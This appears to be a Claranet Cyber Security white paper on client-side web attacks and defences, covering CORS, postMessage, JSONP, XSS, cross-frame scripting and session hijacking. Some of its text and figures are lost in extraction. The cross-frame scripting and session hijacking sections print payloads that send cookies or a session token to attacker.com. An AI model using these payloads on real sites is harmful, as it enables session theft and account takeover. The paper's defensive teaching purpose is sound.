Whitepaper Defense Against Client Side Attacks
Whitepaper Defense Against Client Side Attacks
against
Client-Side
Attacks
Claranet Cyber Security
White Paper 0721
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Contents
Client-Side Attacks and Defenses ..................................................................................................................... 4
Motivation.......................................................................................................................................... 4
Building Blocks .................................................................................................................................. 5
Hypertext Transfer Protocol - Transportation ......................................................................... 5
Hypertext Markup Language - Representation ....................................................................... 5
Cascading style Sheets - Beautification ................................................................................. 5
JavaScript - Modification ........................................................................................................ 5
Cross Domain Communication .............................................................................................. 6
Same Origin Policy ....................................................................................................... 6
Cross-Origin Resource Sharing .................................................................................... 9
Working of Cross-Origin Resource Sharing: ................................................................. 9
Cross-Document Messaging ....................................................................................... 12
WebSocket .......................................................................................................................... 14
Persistent Entities ................................................................................................................ 15
Cookies ...................................................................................................................... 15
Web Storage (Local Storage and Session Storage) .................................................... 17
IndexedDB API ........................................................................................................... 19
Client-Side Attacks .......................................................................................................................... 20
Insecure Communication ..................................................................................................... 20
Man-In-The-Middle Attacks ......................................................................................... 20
Cacheable HTTP Responses ..................................................................................... 21
Insecure Cross-Domain Communication .............................................................................. 21
Insecure CORS configuration ..................................................................................... 21
Cross-Site WebSocket Hijacking ................................................................................ 24
Insecure Cross-Document Messaging ........................................................................ 25
Cross-Site Script Inclusion (JSONP Attacks) .............................................................. 28
Lack of Input Validation........................................................................................................ 30
Cross-Site Scripting .................................................................................................... 30
Cross-Frame Scripting ................................................................................................ 33
HTML Injection ........................................................................................................... 34
Session Hijacking ....................................................................................................... 35
Information Leakage ............................................................................................................ 36
Page | 1
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Subresource Integrity.................................................................................................. 36
Referer Header Leakage ............................................................................................ 39
Insecure File Processing ...................................................................................................... 40
MIME Sniffing ............................................................................................................. 40
Polyglot File Uploads .................................................................................................. 41
Bypassing Client-Side Validations........................................................................................ 42
Bypassing HTML5 Regexes ....................................................................................... 42
Tampering HTTP Requests using Proxy ..................................................................... 42
Abuse of Functionality.......................................................................................................... 43
Attacking Content-Security-Policy Misconfigurations .................................................. 43
Exploiting Web Storage (Local Storage and Session Storage) ................................... 46
Clickjacking................................................................................................................. 46
Cross-Site Request Forgery ....................................................................................... 49
Client-Side Parameter Processing ....................................................................................... 50
DOM Clobbering Attack .............................................................................................. 50
Reverse TabNabbing .................................................................................................. 52
Reflected File Download Attack .................................................................................. 54
Defensive Strategies ....................................................................................................................... 57
Secure Communication........................................................................................................ 57
Usage of Strict-Transport-Security Header ................................................................. 57
Usage of Caching Directives ....................................................................................... 57
Secure Cross-Domain Communication ................................................................................ 58
Secure Cross-Origin-Resource Sharing ...................................................................... 58
Secure WebSocket Implementation ............................................................................ 58
Secure PostMessage Communication ........................................................................ 58
Input Validations .................................................................................................................. 59
Cross-Site Scripting .................................................................................................... 59
HTML Injection ........................................................................................................... 59
Prevent DOM Clobbering Attack ................................................................................. 60
Information Leakage ............................................................................................................ 60
Subresource Integrity.................................................................................................. 60
Prevention of Referer Header Leakage....................................................................... 61
Secure Cookie Attributes ..................................................................................................... 61
Content-Security Policy........................................................................................................ 61
Browser Feature Policy ........................................................................................................ 62
Page | 2
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Page | 3
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
The CIA Triad (Confidentiality, Integrity and Availability), a security model which helps
organizations to determine their core security objectives and serves as a guide for
sensitive data protection, should also be considered for the Client-Side vulnerabilities.
Note that the impact of Client-Side Attacks is limited to the users of the application
unlike Server-Side attacks where the organisation's network and data can also be
targeted by an attacker. For example, in the case of Cross-Site Scripting, exploitation
is limited to the users who access the vulnerable page. However, Client-Side
vulnerabilities could be exploited by targeting the low privileged user account to
perform account takeover, and which can be leveraged to perform escalation to higher
privileged accounts.
In this whitepaper, we focus on the client-side attacks and strategies to identify simple
configuration changes that developers can implement via custom headers to reduce /
mitigate the effect of the vulnerabilities.
Page | 4
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Building Blocks
The building blocks on which the entire client-side ecosystem resides and operates
on the browser will be discussed in this section.
JavaScript - Modification
JavaScript is a client-side scripting language which is used to validate user input, call
resources, cross domain communication using postMessage(), Ajax requests,
cryptography related client-side operations, animation of page elements, design
interactive content - games and video, tracking of user activities and more. JavaScript
Page | 5
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
is one of the widely used and core scripting languages for web applications. The official
name of JavaScript is ECMAScript and exists in 11 editions. First ECMAScript was
released in June 1997 and after 2015, a new ECMAScript edition was released every
year. This proves how the technologies rapidly change. However, not all browsers
support the latest ECMAScript and ECMAScript version 7 is supported by all browsers.
The origin is defined with the scheme, host, and port of a particular URL. Same Origin
Policy (SOP) is a security implementation which helps in restricting the document or a
page from accessing data from other origins.
Let us understand this with an example. The following table shows policy restriction
for different URLs when accessed from a page
‘https://notsosecure.com/directory/page.html’:
http://notsosecure.com/* No Yes No No
http://notsosecure.com:8080/* No Yes No No
https://portswigger.net/web-security/cors/same-origin-policy
No, it will not. The browser will deny this request as illustrated in the image below:
Page | 6
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Before allowing requests, the browser will check for the following three items, together
also referred to as ‘Origin’:
• Scheme: http/https
• Fully Qualified Domain Name (FQDN) or IP address: notsosecure.com,
test.notsosecure.com, 88.208.222.XXX
• Port: 80, 443, 8080, 8443, 9090 etc.
Figure 2: Origin
Only when these three portions match, the browser will allow the AJAX HTTP request
to pass through. From a browser’s perspective all the below given domains are
different ‘Origins’:
• http://notsosecure.com
• https://notsosecure.com
Page | 7
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
• https://notsosecure.com:8443
• http://api.notsosecure.com
• https://88.208.222.XXX
Below is an illustration of the request sent to access the bank transaction details on
page ‘https://bank.com/transactions’, originated using the JavaScript from the
application ‘https://malicious.com’. Preflight requests denied the access to resources
from Origin ‘bank.com’.
Lowdown of how the SOP process works from a browser’s perspective is given below:
Page | 8
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
What is XMLHttpRequest(XHR)?
XMLHttpRequest is used for AJAX programming, we can retrieve data from the
URL without refreshing the page using JavaScript calls. Once the page receives
response, it updates the response data without any effect on the other contents
of the page.
We discussed Same Origin Policy in the above section. Same Origin Policy is a great
security feature, isn’t it? However, in the real-world websites do wish to communicate
between different origins. A classic example would be when we have a front-end
application running on AngularJS hosted on 'https://notsosecure.com', that wishes to
communicate with its backend APIs hosted on 'https://api.notsosecure.com'. How will
the browser now act and respond? In this section, we will discuss how the Same Origin
Policy (SOP) can be relaxed.
To relax the Same Origin Policy (SOP), Cross-Origin Resource Sharing (CORS) policy
was implemented, where the servers would respond to the preflight request of the
browser. Let’s first understand the reason behind CORS and when it can be applied.
Page | 9
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:34:52 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://notsosecure.com
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600
Access-Control-Allow-Methods: POST,GET
Access-Control-Allow-Headers: X-My-Custom-Header, Content-Type
Page | 10
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Connection: Keep-Alive
Content-Type: text/plain
An Excessive Cross-Origin Resource Sharing scenario can arise when the value of
header 'Access-Control-Allow-Origin' is set to '*'. The browser will then treat ‘Access-
Control-Allow-Credentials: false’ by default.
Once the browser receives the above-mentioned headers, the application will allow
'notsosecure.com' to send requests to 'api.notsosecure.com'.
Note: If the application sets Cookies in the response of OPTIONS method, browser
ignores the ‘Set-Cookie’ header in the response of OPTIONS method. Hence, the
authentication has to be done in a different request except OPTIONS method request.
A Preflight request is generally required when any Origin accesses methods rather
than OPTIONS, HEAD and GET. However, if the GET request method is sent, preflight
request is not required but if the server is configured with 'Access-Control-Allow-Origin'
as set to ‘all’ or if the header is not set with the requested domain, the browser will not
allow other domains to fetch the response contents. In short, we can say that if the
'Access-Control-Allow-Origin' header is set in the response with a particular domain
value, that domain would be able to access the application resources otherwise the
browser will not allow it.
Page | 11
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
We need to understand that the browser usually sends OPTIONS method if the
'Access-Control-Allow-Origin' is set to * and the initial request is not of GET and HEAD
methods. The response header 'Access-Control-Allow-Origin' restricts the origin from
reading the response data which is managed by the browsers. So, if any arbitrary
domain sends requests to a service which is not allowed, the browser will send
requests to the server but not allow it to retrieve response data or load it in an HTML
page.
Cross-Document Messaging
• postMessage() → Sender
• onMessage(), onReceiveMessage() or addEventListener → Receiver
Page | 12
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Page | 13
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Above misconfigurations may lead to various attacks like Cross-Site Scripting, Cross-
Site Request Forgery, Content Spoofing, Information Leakage etc. depending on the
way the input is handled.
WebSocket
WebSocket is an HTML5 feature providing full-duplex communications channel over
a single TCP connection. This allows building of real-time applications by creating a
persistent connection between the browser and the server. The most common use
case for WebSocket is when adding a chat functionality to a web application.
Page | 14
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Persistent Entities
Cookies
Cookie also called HTTP Cookie, Web Cookie, Internet Cookie and Browser Cookie,
is used to maintain sessions, remember stateful information and preferences, track
user’s activities etc. Cookies can be set with one or more attributes such as Domain,
Path, Expires, Secure, HttpOnly, Max-Age, and SameSite. If an attacker grabs a
cookie information which is used to maintain the user’s session, will be available to
the attacker, allowing an attacker to compromise the user's session and account. So,
we can say that cookies contain information which is useful to an attacker and if a
session cookie is compromised, it may even lead to account takeover attacks.
Details of each cookie attribute along with its impact has been given below:
• Secure: Cookies with Secure cookie attribute set can only be transmitted
over an encrypted channel, HTTPS. This restricts the cookie from being
transmitted over HTTP - an unencrypted channel.
• HttpOnly: Cookies with HttpOnly cookie attribute set cannot be accessible to
the client-side JavaScript through the ‘document.cookie’ function. An
attacker can access and retrieve session cookies which lack HttpOnly
attributes through a Cross-Site Scripting (XSS) attack and use that cookie to
impersonate a legitimate user.
Page | 15
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
• SameSite: SameSite cookie attribute can be set with 3 values - Strict, Lax or
None.
o If the SameSite cookie attribute has ‘Strict’ value, the browser only
sends those cookies in the requests which originated from the same
domain. In other words, we can say that the domain name for the
originated request should be the same as the target domain. Setting
the cookie attribute SameSite with ‘Strict’ mitigates Cross-Site
Request Forgery (CSRF) attacks.
o SameSite cookie attribute with ‘Lax’ value does not restrict the
originated requests but the target domain and domain mentioned in
the Domain attribute should be the same. This attribute can block
third-party/cross-site cookies.
o SameSite cookie attribute with ‘None’ value can allow third-
party/cross-site cookies to send requests.
• Domain: Domain cookie attribute when set defines the domains that should
be able to access the cookie.
• Path: Path cookie attribute can be assigned when a selected path should be
allowed to access the cookie. This is used when there are multiple
applications or modules hosted on the single domain with different
directories.
• Expires: Sets the cookie expiration date and time, if this is not set, the
cookie will be discarded when the browser is closed. Note that when an
Expires date is set, the time and date set is relative to the client the cookie is
being set on, not the server.
• Max-Age: Cookie expiration attribute with time in milliseconds.
• HostOnly: The HostOnly attribute can be assigned when the cookie is
required to be accessible from the respective host only. If the application
'www.notsosecure.com' sets a cookie without a Domain attribute and is
marked as HostOnly, then resources from the domain
'www.notsosecure.com' will be able to access the cookie. If the cookie is
marked with HostOnly and Domain with 'notsosecure.com', it will ignore the
HostOnly attribute and allow all resources of 'notsosecure.com' and its
subdomain to access the cookie.
From the aforementioned cookie attributes, when we talk about securing cookies,
developers are aware of Secure, HttpOnly and SameSite attributes but other attributes
are also important and should be implemented on a case-by-case basis.
Page | 16
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Fun Fact
We use multiple Google accounts quite often but how does Google handle different
sessions from the same browser?
Let’s say two users have logged-in '[email protected]' and '[email protected]', now
how does Google differentiate which tab belongs to which user?
Using the 'path' directive and as given below is how Google sets a different path in
order to set two different cookies.
For [email protected]:
For [email protected]:
Web Storage uses the localStorage() and sessionStorage() methods to save data
locally in key/value pairs. Cookies generally send small pieces of data which is used
to authenticate the users and Cookies have Secure, HttpOnly and Same-Site
attributes for security features. Similar to this, web storages store data which is being
stored at client-side but that can be accessed using JavaScript which lack security
features.
Let us discuss the difference between local storage and session storage and how it
works. As the name suggests, browsers keep data stored in session storage until a
user’s session is active and/or the browser window or tab is open. While in local
storage, the data remains till it is manually removed from the web storage using the
‘Clear Cache’ feature of the browser.
Page | 17
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Following is an example of how we can create, read or modify the sessionStorage and
localStorage key/value pairs:
Key ‘fruits’ can be added with the value mango by following code snippet:
localStorage.removeItem(‘fruits’);
Clearing localStorage:
localStorage.clear();
• Data is saved locally and resides in the browser, this eliminates the security
issues which exist in cookies for transmission.
• Cookies can hold limited data, web storage can store more information
depending on the browsers.
• Easy to use, save and retrieve data using a key.
• However, web storage cannot resolve the cookie’s existence, as
authentication related information must be stored securely on the client-side.
Page | 18
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Data from the web storage can be retrieved, accessed, removed, and modified by
leveraging a Cross-Site Scripting vulnerability.
So far we discussed HTTP, HTML, JavaScript, CSS, Same Origin Policy, Cross-Origin
Resource Sharing, Cross-Document Messaging, Cookies and Web Storage. The
concepts mentioned in this section will help to understand Client-Side attacks
effectively.
IndexedDB API
Page | 19
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Client-Side Attacks
Now that our concepts are clear, let's dive deep into discovering various ways in which
security of our browser (client) can be compromised.
Insecure Communication
Man-In-The-Middle Attacks
Attack
Man-In-The-Middle attack is when an attacker resides between the client and server.
An attacker would be able to view or alter the communication of client and the server.
To better understand, let's see the example diagram below, in the diagram we can see
that the communication from user to server was in the attacker's control. If a user
sends any request to the server 'payment.notsosecure.com', it is passed through the
attacker who resides between both the parties, an attacker can view the request as
well as modify and send it to the server 'payment.notsosecure.com'. An attacker can
also view the response from the server 'payment.notsosecure.com' and forward it with
modification to the users:
Defence
Case Studies
Page | 20
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Attack
Browsers typically store a local cached copy of content received from web servers so
that loading the same pages for a user is faster during the user’s future visits. Some
browsers, cache the content that is accessed via HTTPS. If sensitive information in
application responses is stored in the local cache, it could potentially be retrieved by
other users who have access to the same computer at a future time.
Defence
Alternatively, most web development platforms allow you to control the server's
caching directives from within individual scripts. Ideally, the web server should return
the following HTTP headers in all responses containing sensitive content:
• Cache-control: no-store
• Pragma: no-cache
Attack
Page | 21
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Additionally, it is also required that the application should restrict the Cookies while
allowing the arbitrary domains to access it. The header 'Access-Control-Allow-
Credentials' should be set with ‘False’, this will prevent the browser from sending the
Cookies when the application resources are accessed with arbitrary origins.
Using above scenarios, an attacker can misuse the misconfigured origins to access
the application resources, such as retrieve user’s information, API key, transaction
details, order history or maybe even read the complete HTTP response. This could
allow an attacker to perform Cross-Site Request Forgery (CSRF), if the application
only prevents CSRF by validating Origin header.
Page | 22
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
To better understand let’s see the example diagram below, we can see that the
'api.nososecure.com' allows any arbitrary domain 'www.attacker.com' to access the
transaction details, which should otherwise be restricted:
2. Response from the server: The application responds with the allowed headers
and credentials access information through CORS headers, i.e., Access-
Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-
Allow-Headers, Access-Control-Allow-Headers etc.
3. Request to the server: Browser will send POST request as the response of
OPTION request is suggesting that the POST request is allowed to the
originator.
4. Response from the server: The application responds with information relevant
to POST request.
Page | 23
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Defence
The application should whitelist the origins which can access particular resources. The
application should also avoid accepting all domains, subdomains, internal networks,
null origins. In exceptional cases, where the application requires arbitrary domains to
access the application resources, the application should allow it for that particular page
only.
Case Studies
Following is the list of interesting case studies for Cross-Origin Resource Sharing and
how can it be exploited:
Attack
• The URL of the WebSocket connection. This starts with either of WebSocket
protocols ws:// or wss://
• The Origin header that is used in creating this connection. This will be the
Origin of the page that is initiating the WebSocket connection.
• Analyze a few messages sent by the browser and the server, which can help
to understand actual traffic. This can help an attacker to perform further
attacks.
Defence
The application should restrict WebSocket connections from the whitelisted Origins.
Additionally, the application should only use Secured WebSocket protocol(wss://).
Case Studies
Reference(s):
• http://www.websocket.org
• https://www.notsosecure.com/how-cross-site-websocket-hijacking-could-
lead-to-full-session-compromise/
Page | 24
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
• https://christian-schneider.net/CrossSiteWebSocketHijacking.html
• https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API
Attack
Code snippet:
Example 1:
<script>
window.onmessage = (event) => {
console.log(“Received message: $(event.data)”);
};
</script>
Page | 25
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Example 2:
<script>
function receiver(event){
userdata = “Origin:” + event.origin;
userdata += “Message:” + event.data;
alert(userdata);
}
window.addEventListener(“message”, receiver)
</script>
<iframe src=”http://www.abc.com:8080/mypage.html”
onload=”this.contentWindow.postMessage('Data to be sent!','*')”>
postMessage('Data to be sent!','*')
Page | 26
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Defence
Avoid usage of Event Listeners for message events. In case, the application requires
to receive messages from other origin, validate the sender's identity using the origin.
Use the exact target origin and not *, when sending the data to other origins through
the postMessage() method.
Case Studies
Reference(s):
• https://docs.ioin.in/writeup/www.exploit-db.com/_docs_40287_pdf/index.pdf
• https://www.youtube.com/watch?v=XTKqQ9mhcgM
• https://robertnyman.com/2010/03/18/postmessage-in-html5-to-send-
messages-between-windows-and-iframes/
• https://portswigger.net/web-security/dom-based/controlling-the-web-
message-source
• https://jlajara.gitlab.io/web/2020/06/12/Dom_XSS_PostMessage.html
• http://benalman.com/projects/jquery-postmessage-plugin/
• https://medium.com/javascript-in-plain-english/javascript-and-window-
postmessage-a60c8f6adea9
• https://davidwalsh.name/window-postmessage
• https://blog.teamtreehouse.com/cross-domain-messaging-with-postmessage
Page | 27
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
• https://javascript.info/cross-window-communication
• https://portswigger.net/daily-swig/xss-vulnerability-in-login-with-facebook-
button-earns-20-000-bug-bounty
• https://hackerone.com/reports/603764
• https://hackerone.com/reports/398054
• https://hackerone.com/reports/231053
• https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/
• https://ysamm.com/?p=493
• https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-
and-websocket-reconnect-to-steal-your-precious-token/
Attack
<script>
function profileData(myObj) {
console.log(myObj);
}
</script>
<script
src="https://api.notsosecure.com/profile/1?callback=profileData"></script>
Page | 28
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
JSONP is actually a 'hack' over SOP, hence, there is no general solution or guideline
to protect against attacks on its implementation. However, JSONP can be used to
request unauthenticated resources, like retrieving a country list for a contact us page.
Defence
The application developers should avoid using JSONP to retrieve the contents from
external sources. It is recommended to use Cross-Origin-Resource-Sharing instead
of JSONP requests.
Page | 29
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Case Studies
Reference(s):
• SOME Playground
• https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-
Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-
wp.pdf
• http://www.benhayak.com/2015/06/same-origin-method-execution-
some.html?m=1
• https://portswigger.net/bappstore/9fea3ce4e79d450a9a15d05a79f9d349
Attack
XSS impact can greatly vary depending on the type of XSS found, location where the
payload is stored/inserted and some other factors. XSS can lead a malicious actor to
obtain sensitive information such as the session cookies that can lead to the hijacking
of a legitimate user’s session, modifying user data and executing phishing attacks.
Page | 30
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Due to cross-platform application usage, the XSS payload from one application gets
stored to the central database and is reflected back in the other application. Thus,
making an addition to the above XSS types. If the other application is internal or if an
attacker does not have access to the application, this can be termed as Blind XSS and
which can be identified using out-of-band techniques.
Page | 31
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Attackers can exploit and retrieve information using frameworks such as Browser
Exploitation Framework (BeEF) framework. More information on how to use the BeEF
framework can be found at https://beefproject.com.
Reference(s):
• https://www.softwaresecured.com/the-rise-of-javascript-xss-and-practical-
mitigation-
techniques/#:~:text=Wikipedia%20defines%20XSS%20as%3A,pages%20vi
ewed%20by%20other%20users
• https://beefproject.com
Defence
Cross-Site Scripting attacks occur due to insufficient, or lack of, input sanitization and
output encoding. It is recommended to perform input validation and output encoding
to prevent all types of Cross-Site Scripting attacks.
Case Studies
References:
• https://www.hackerone.com/top-ten-vulnerabilities
• https://vbharad.medium.com/stored-xss-in-icloud-com-5000-998b8c4b2075
• https://ysamm.com/?p=525
Page | 32
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Cross-Frame Scripting
Attack
<iframe style="position:absolute;top:-9999px"
src="http://example.com/vulnerable-page.html?q=<script>document.write('<img
src=\"http://attacker.com/?c='+encodeURIComponent(document.cookie)+'\">')</scri
pt>"></iframe>
Page | 33
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
http://example.com/vulnerable-
page.html?=%3Ciframe%20src=%22%E2%86%B5%20javascript:document.body.innerHTML=+%
27%3Cimg%20src=\%22http://attacker.com/%E2%86%B5%20?c=%27+encodeURIComponent(do
cument.cookie)+%27\%22%3E%27%22%3E%3C/iframe%3E
Defence
Case Studies
Reference(s):
• https://owasp.org/www-community/attacks/Cross_Frame_Scripting
• https://www.acunetix.com/blog/web-security-zone/cross-frame-scripting-xfs/
• https://www.checkmarx.com/knowledge/knowledgebase/XFS
• https://capec.mitre.org/data/definitions/587.html
• http://applicationsecurity.io/appsec-findings-database/cross-frame-scripting/
• https://www.netsparker.com/blog/web-security/cross-frame-scripting-xfs-
vulnerability/
HTML Injection
Attack
The HTML injection attack only allows the injection of certain HTML tags. When an
application does not properly handle user supplied input, an attacker can supply valid
HTML code, typically via a parameter value, and inject their own content into the page.
This attack is typically used in conjunction with some form of social engineering, as
the attack is exploitation of a code-based vulnerability and a user's trust.
Defence
HTML Injection attacks occur due to insufficient, or lack of, input sanitization and
output encoding. It is recommended to use proper escaping mechanisms before
embedding data into various locations in the code.
Page | 34
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Case Studies
HTML Injection is when the application only allows to inject HTML tags but does not
execute JavaScript to execute Cross-Site Scripting owing to CSP (content-security
policy) restrictions. Such scenarios could allow an attacker to perform Phishing attacks
by adding a malicious HTML code in the page and redirect the user thereafter to an
attacker controlled page to retrieve the credentials.
Session Hijacking
Attack
Session Hijacking is when an attacker is able to grab the session identifier of logged
in users. This is possible with attacks such as Cross-Site Scripting and missing
Caching directives on the client-side. An attacker would be able to retrieve session
identifier from Cookies using Cross-Site Scripting vulnerability. This will be possible if
the cookies are set without the HttpOnly attribute, and the application lacks Cross-Site
Scripting defence mechanisms.
Following is the code snippet to steal cookies using Cross-Site Scripting vulnerability:
<script>
fetch('https://www.attacker.com', { method: 'POST', mode: 'no-cors',
body:document.cookie });
</script>
<script>
fetch('https://www.attacker.com', { method: 'POST', mode: 'no-cors',
body:sessionStorage.getItem(‘auth_token’) });
</script>
To better understand, let's consider the diagram below, in the diagram we can see
that an attacker injected the aforementioned malicious JavaScript to the application
'auth.notsosecure.com'. Once executed in the browser, the application
'auth.notsosecure.com' sends a request to the attacker’s application
'www.attacker.com' having cookies (which lacks HttpOnly attribute) in POST data:
Page | 35
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
However, as we know that the cookie should not be marked with HttpOnly flag for it to
be successfully exploited as explained in the aforementioned diagram. Hence, we can
recommend that the session cookies should be protected with the security attributes
to prevent session hijacking attacks.
Defence
The best defence mechanism for Session Hijacking is to add HttpOnly attribute to the
session cookies and also disable the TRACE method if it’s not required.
Case Studies
There are several instances which can help an attacker to perform session hijacking
and account takeover thereafter. One of the vulnerabilities is that the Grammarly
application was vulnerable to Cross-Site Scripting attack and lacked HttpOnly flag,
allowing a security researcher to retrieve session identifier value and perform account
takeover.
https://hackerone.com/reports/534450
Information Leakage
Subresource Integrity
Attack
Page | 36
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Online applications such as SRI Hash Generator can also help to get an
integrity of the file.
In the aforementioned example, we can see the highlighted part is the cryptographic
checksum in SHA384 for the script ‘https://www.example.com/example-framework.js’.
Here, if there is any change in the script, we need to recalculate the checksum and
replace it with the new one otherwise the browser will not allow us to load the script.
This ensures that the script which was included has been carefully reviewed.
We discussed Subresource Integrity for static contents like JavaScript or CSS, let’s
understand a similar kind of scenario as well which is called Third Party JavaScript
Tampering. Think about the scenario where the application is secure from Cross-Site
Scripting vulnerability and uses input validations, implemented Content-Security-
Policy header. What does an attacker do in such cases? One way is that an attacker
can review the external source of JavaScript and can try to tamper those to add
malicious scripts. If an attacker would be able to inject the malicious scripts on the
third-party JavaScript, an attacker would be able to perform Cross-Site Scripting using
the malicious script of third-party server. The application would allow that to run as
Page | 37
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Content Security Policy will not block the contents of the predefined third-party
domains.
Defence
Implementing the subresource integrity by adding integrity attribute in script tag along
with a base64 encoded hash value with hashing algorithm sha256, sha384 or sha512:
We can use Content Security Policy to require all your scripts and/or stylesheets to
use SRI.
However, this feature is for experimental purposes only and this is not supported by
all browsers so better to not use it in production environments.
References:
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-
Security-Policy/require-sri-for
Case Studies
British Airways suffered with an attack which was performed by adding 22 lines of
code into an external JavaScript. This attack allowed an attacker to retrieve payment
card details of 380,000 Victims.
Page | 38
©
Claranet Cyber Security 2021. All rights reserved
Claranet Cyber Security | White Paper | Defense against Client-Side Attacks
Reference(s):
• https://www.w3.org/TR/SRI/
• https://www.w3.org/TR/SRI/#dfn-integrity-metadata
• https://www.srihash.org/
• https://www.riskiq.com/blog/labs/magecart-british-airways-breach/ - Image
courtesy
• https://securityboulevard.com/2018/09/protect-yourself-from-magecart-using-
subresource-integrity/
• https://blogs.u2u.be/peter/post/use-subresource-integrity-checking-for-
external-scripts
